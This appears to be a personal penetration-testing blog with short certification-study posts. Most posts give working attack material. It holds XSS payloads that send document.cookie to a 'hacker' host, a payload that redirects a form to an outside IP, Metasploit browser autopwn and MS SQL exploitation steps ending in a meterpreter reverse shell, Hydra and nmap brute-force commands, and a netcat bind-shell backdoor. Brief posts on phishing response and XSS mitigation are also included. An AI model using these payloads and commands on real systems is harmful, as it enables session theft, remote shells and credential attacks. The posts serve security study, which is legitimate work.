Sunday, August 23, 2020

[XSS]Two key test cases against Cross Site Scripting

 Stealing Cookie:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

<script>var i = new Image();i.src="http://hacker/log.php?q="+document.cookie;</script>


Work with Browser Autopwn:

<IFRAME src='http://hacker'><\/IFRAME>


For more information, refer to my project at "https://github.com/d3m0n4l3x/alexfuzz".

Friday, August 21, 2020

[eCPPT][XSS][metasploit][Browser][Autopwn]Verify Browser Security through Metasploit

 1) Enter Metasploit msfconsole:

# msfconsole


2) Select Browser Autopwn:

msf5 > use auxiliary/server/browser_autopwn

OR

msf5 > use auxiliary/server/browser_autopwn2


3) Set up corresponding settings:

msf5 auxiliary(server/browser_autopwn) > set LHOST 192.168.0.XX /*P.S.: 192.168.0.XX is the IP address of this machine.*/

msf5 auxiliary(server/browser_autopwn) > set SRVPORT 80

msf5 auxiliary(server/browser_autopwn) > set URIPATH /


4) Start the malicious web server:

msf5 auxiliary(server/browser_autopwn) > exploit


5) Metasploit then would show you a "Local IP" URL, which should be browsed by the tested machine, as shown below:

[*] --- Done, found 20 exploit modules

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.0.XX:80/ /*P.S.: http://192.168.0.XX:80/ is the URL needed to be browsed by the tested machine.*/

[*] Server started.


6) If the tested machine is vulnerable, a meterpreter should be showing up shortly.

Wednesday, August 19, 2020

[eCPPT][XSS]Test Cases for DOM-based Cross Site Scripting

 Here are some test cases for DOM-based Cross Site Scripting:

"><img src="aaa" onerror="alert(document.cookie">

"><svg/onload="alert(document.cookie">

"><svg/onload="document.forms[0].action='//192.168.0.253/get.php'">

Tuesday, August 18, 2020

[Phishing]Detect and Respond Phishing emails

 Detection:

- Utilize Threat Intelligence information to confirm if it is a phishing email.

- Phone the sender to confirm if it is a phishing email.


Response:

- Report to Federal Trade Commission at spam@uce.gov.

- Report to the finance institution being impersonated.

- Update the detection and mitigation rules on Email Security system.

Monday, August 17, 2020

[eCPPT][XSS]Mitigation of Cross Site Scription risk

 1) Specify the flags below in the cookie:

expires=

domain=

path=

secure

HttpOnly

2) Use Session ID / Token only instead of other meaningful flags.

3) Set up a Whitelist mechanism to validate user input data.

4) Leverage such encode functions as HtmlEncode to filter out some dangerous characters (e.g. "<" and ">").

TIPS: Some AntiXSS libraries could be utilized in an effort to mitigate the risk against Cross Site Scripting easily

Sunday, August 16, 2020

[Netcat][Ncat][Nmap][eCPPT]netcat cheat sheet

 Reference: https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf


This cheat sheet is based on the rewritten version of NetCat, namely ncat, which is portion of Nmap.


Port Scan:

# ncat -z -w1 -n -v 192.168.0.251 22


Socket Client:

# ncat -nvv 192.168.0.251 443


Socket Server:

# ncat -vv -l -p 443


Keepalived Socket Server:

In Windows:

cmd > nc -L -p 443

In Linux/Unix:

# ncat -k -p 443


Authentication Server allowing specific clients:

Only allow 192.168.0.253 to connect the socket:

ncat --allow 192.168.0.253 -vv -l -p 443

Only deny 192.168.0.251 to connect the socket:

ncat --deny 192.168.0.251 -vv -l -p 443


Backdoor Server:

# ncat -l -p 888 -e /bin/bash


File Transferring:

Recepient / Server:

# ncat -l -p 8888 > /tmp/test.txt

Sender / Client:

# ncat -w3 -n 192.168.0.253 8888 < ./test.txt


Saturday, August 15, 2020

[Netcat]Keep Netcat sockets alive to continuously listen

 The examples below demonstrate how to create Netcat sockets continuously listening in Windows and Linux/Unix, respectively.


In Windows:

cmd > nc -vv -L -p 443


In Linux/Unix:

# ncat -vv -k -l -p 443

Friday, August 7, 2020

[ICSI_CPT]A walkthrough of Pentest agaist MS SQL Server

 First confirm if MS SQL Server is running on the default port.

# nmap -Pn -sS -p 1433 192.168.0.25


After that, try to ascentain the details of the MS SQL Server.

# nmap -v -p 1433 --script=ms-sql-info 192.168.0.25


Subsequent to having the details regardin the authentication means, Hydra could be utilized to brute force the password.

# hydra -s 1433 -l sa -P /usr/share/wordlists/sqlmap.txt


Through Metasploit, let us complete the final step of the exploitation.

# msfconsole

msf > use exploit/windows/mssql/mssql_payload

msf > set payload windows/meterpreter/reverse_tcp

msf > set LHOST XXX.XXX.XXX.XXX

msf > set RHOST XXX.XXX.XXX.XXX

msf > set USERNAME sa

msf > set PASSWORD XXXXX

msf > run

Thursday, August 6, 2020

[eCPPT]Identify Web Application Framework

1) Through HTTP Header
Such as "X-Content-Encoded-By: Joomla! 2.5"

2) Through Web Content
Such as "Copyright 2015 vBulletin Solutions."

3) Through HTTP Tags
e.g. "<meta name="generator" content="WordPress 4.2-beta3-31946" />"

4) Through URL
e.g. "index.php?option=%component_name%&task=%task_value%"

Monday, August 3, 2020

[ICSI_CPT]Mirror Website

#!/usr/bin/perl
use Cwd;
$| = 1;

sub check_wget(){
        $result = sprintf(`which wget`);
        if(length($result)==0){
                die "Please install Wget.\n";
        }
        return;
}

sub check_tree(){
        $result = sprintf(`which tree`);
        if(length($result)==0){
                die "Please install Tree.\n";
        }
        return;
}

#main() function:
&check_wget();
&check_tree();
print("URL\(e.g. \"https://192.168.0.22:5001/\" OR \"http://www.microsoft.com/\"\): ");
$url = <STDIN>;
chop($url);
if($url=~/(.*):\/\/(.*)\//){
        $protocol = $1;
        $server = $2;
}else{
        die "The format of $url is problematic!\nThe correct format should be like \"https://192.168.0.22:5001/\" OR \"http://www.microsoft.com/\".\n";
}
system("wget --protocol-directories -r $url > /dev/null 2>\&1");
$current_path = getcwd();
$path = $current_path."/".$protocol."/".$server."/";
print("$url has been downloaded at $path.\n");
$structure_file = $current_path."/".$protocol."_".$server."_structure.txt";
system("tree $path > $structure_file");
print("The STRUCTURE file has been generated at $structure_file.\n");

[ICSI_CPT][Spider]Crawl a website structure via wget

Suppose the target is http://192.168.0.253:5001/, you can mirror the website by executing the following command:
# wget --protocol-directories -r http://192.168.0.253:5001/

The command below enables you to detect the website's structure:
# tree ./http/192.168.0.253:5001/

Here is a command filtering out those webpages containing keywords, such as "password" in the following example:
# grep -nR password ./http/192.168.0.253:5001/

Saturday, August 1, 2020

[ICSI_CPT][Brute Force]Multi Brute Force attacks performed by Nmap

Suppose the target is 192.168.0.10 in this case:
# nmap -Pn -T4 -F -sT -sU --script ftp-anon,ftp-brute,telnet-brute,ssh-brute,rexec-brute,smtp-brute,smb-brute,snmp-brute 192.168.0.10

[ICSI_CPT]Testing Finger service for User Enumeration in Unix-like

Suppose the target is 192.168.0.10:
# finger @192.168.0.10
# finger '1 2 3 4 5 6 7 8 9 0'@192.168.0.10
# finger 0@192.168.0.10
# finger .@192.168.0.10
# finger **@192.168.0.10
# finger user@192.168.0.10
# finger test@192.168.0.10